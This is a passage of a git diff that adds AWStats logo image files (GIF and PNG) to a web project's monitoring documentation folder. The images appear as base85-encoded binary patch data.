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 YFoA(JqvEiJ-^Q-+GfBNHEDQ|R0DS{3LI3~& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo1.png b/src/main/webapp/monitoramento/docs/images/awstats_logo1.png new file mode 100644 index 0000000000000000000000000000000000000000..1ce8d3dfac2678b6bc91c7fe72adefbb0a53f1ed GIT binary patch literal 2186 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 XcJ4^qGS8ENfq}u()z4*}Q$iB}*SlEe literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo2.gif b/src/main/webapp/monitoramento/docs/images/awstats_logo2.gif new file mode 100644 index 0000000000000000000000000000000000000000..a525867934030f963aa15e6002a761560072dc89 GIT binary patch literal 704 zcmZ?wbhEHbj9`#w*v!E2|NsA6w;p}}{{7sP3-ztr-#`ES{{8#!-~Tf(Ff=xGYiMW$ z1qJc&@cjS&|NHyzAFjPu{K>+|z`($u10q0XFtGd+IN`Z^uf^-LyZ<L>^rd9Z%UG4f z=@jB2<A2KOWY7kMo=fW%96Q{2Q&p=u;*i11z$ks^^8x{98s;5e(6CWUXZJys1B-d~ zHH0aY?=8Bce9)mMaf<fZ#Y<Wv-sdueiC7C2NVO>zyNFwr)d_nxFj#YxOs+Cy61HdP zkeDaO$ILIu!fCB9l9JKrCd^%DxRN2Il|ycU82^$qW?o57=1Q?LA10oOzOx!_rfsvR z=HcN!J=bXa<V$meSc~^CMBNwP;JL<R>J~0GjtsUnH5}YN!Udd+OzXbf$ehYpCd~Ux zgGu1RO;$FBYl=sjA9yq=A7$W~@WhYJs8;0G#@!qJ1?)ZkMRRdUZs2eh<?PcE=rDij zI>V$&MPk7b<!k%=B#NV=gSqc$<T3F^&Cp;BZ4GU_#?x$ih08m;xx{JfQH3<~^eB(K zhUG00^IK1fge+D#(5=gD^<YP#l)uBlNp~KIeGER=G&R`h=G480{z<cETZyRbeA$-W z)DYulFk|@zr|wn05-)ZbdLM}Q@V|PmW&4DdDLu6z$2M$9c0A)Z$x1gyy6V+Ur;s_b z6n?FGcu}HO-acq=j;w<D0nYc%+utqgX!oBNRM50@v#zb@7Z;X<bjdj{XP#~Sa6BvR zESIUqn#*#|o2)mw#xC(!P*438vUu_8UG3TyTYQ&CAM{vopl^@ir5pJHt~P924s_XH zE}7)e;342}KrF(gqlu9(%tM|ngk{0QHkq;)58D;mG#+)xhD9j0IL}=1s7q(ti$~oC z$8J2z6OvIl&};E*#p6DkZ!aGAJG_!O(52y(k-{!AtK#8ApFD$xW>+)KR5qzT)2CBa ITo@Rv0SEsplmGw# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo2.png b/src/main/webapp/monitoramento/docs/images/awstats_logo2.png new file mode 100644 index 0000000000000000000000000000000000000000..dc71a2aaf8691333094d1094107e64daab1a257b GIT binary patch literal 757 zcmeAS@N?(olHy`uVBq!ia0y~yV2EH~V322FW?*2L_)PpV0|NtliKnkC`vopOel4Y= zmxSLiFfecyctjR6FmMZjFyp1Wb$=Kb7+BIBeH|GXHuiJ>Nn~YUU@!>q332`Z|NpI9 zkG_BZes0Qz`qu65pMQS;{{8pw{}~t<8k@Q`G&F*Of_Qj%{(t}f{r&e3*WR=4>+fP< zU|=i>@(X5gcy=R=fq}`|)5S5Q;?~v4d-E;_h#ddFuJfb#s@sf_y3L76JVsM>xN=o& z4v2M%a|k*AsOV@3xmfz<pq7x4eDhUC$z3~mP9%A~d^C;6qmn`EBh%DROmnh#3%ICE znyCExU+voad%xfLZ^`!Wd_Wn)Ov4qLoY$Ja&z*VWd$3)WoWiE*7m}mY=i2zB9iFTv zf0dCpQudiZ(wdUQvL{^Amrv8Z+4_Q!H?U&`w`!>Mg|tJD!W3WcWVF!SB)27?jxSa1 z&*L={en&DJB)_S?z*EV7DE@;{<G1aPzOpW5*t@^viSza=3-}DK9lX6>EIe0)k$>C9 zJ+bSo3zBxF`d64A5Y{-8|50}8Rh=hNcTW_a+~$A$tB~Bb_LObQTPm}KgAVmsELkL5 z>?`1SN8<iW5k2RQuX+UsuS-S#75y-UmCeye{bgcX=gG*k+qC_Idc8DwLX^4qGwQmR zvSdF0V3@_?w{2CHv74$(UF)0MkKd^qmOGx{vPhIa&T{RP&I!GV(+w({zsW7V*>rfV zu$?uljA8zrKX13)o75#F=WM?uEbD<)``j%)&WQ(0nr#-xu59_fqRwuo>z@ho`BMt& zdwmbjzTz4px|v_qK%w4ocK)eV+~1biCv4L8Iw&2oL^ze-Z^ieC(JqsIN%(9$#JS{+ zz@D$Fzx3Fr+ebV}-B!JuJ1A{(sCF3Z<?{#Yg*B#}vh$69K3}2dlIj1C4Xe!;1?S(( zO?p@HWY_AW-CK;@cdXkT7;<~A@rk&YJ>TB%sM`10$@07~_s)-}pR+zvKmYq+v+Aa% RXABGs44$rjF6*2UngAXcQm_C3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo3.gif b/src/main/webapp/monitoramento/docs/images/awstats_logo3.gif new file mode 100644 index 0000000000000000000000000000000000000000..9525e8922e5367368a66569356da5cf253ae0c7c GIT binary patch literal 2668 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 S@jO0F+ZXVeW-~J}SOWl%M!hot literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/awstats_logo3.png b/src/main/webapp/monitoramento/docs/images/awstats_logo3.png new file mode 100644 index 0000000000000000000000000000000000000000..4170510095888217b6c6659e78988b6d8abe476c GIT binary patch literal 3327 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≀7yo<$J1M=HCA}pwF{SwP#i63DFx-CEck<dfFKD z=iQs+y^TS#!c+aldXbAOZ6eQ<W*Zz%ieRqkQB9WZ+<ha~W?oCP`{YB14)q0xWQNB) zJ|QPHZQa%1?Y{#VCU=$}DNTN;t9ATL+UA`x_s`9Btz7P^_l;L;k@<W9e}<I0H*-F! z+~;<!-PG}A+h29((|MWZzVTnbt+T)2sb<~8cjw+FRZ+2R%tD*F-kd&P_4&6-*X&KP zX@^ygyG{uSW83j=%51Mvk1*RphpkLAql=f%shKUw#Zvdoi23@K!|PgJCw8tnCvtMi zQ{~iIRfm<i^5)E$vm_xQV3v;Hs}-D2jxA<;bb=>H+PW`Z_y@oAzdI_Pa?2M_^$y6h za`#-wdeU=m4aYkx#=D|l^#93Ky;ztW`|Qv5+}nOnVi(J*q_bOV_V@KoJH7k+`}_Tc zDnheEw=QMP_rJFOe!=InFHN)m>}xvT{JJJ%gMyc@>bG;&?;F0qd2=x8?9*v~eEz+9 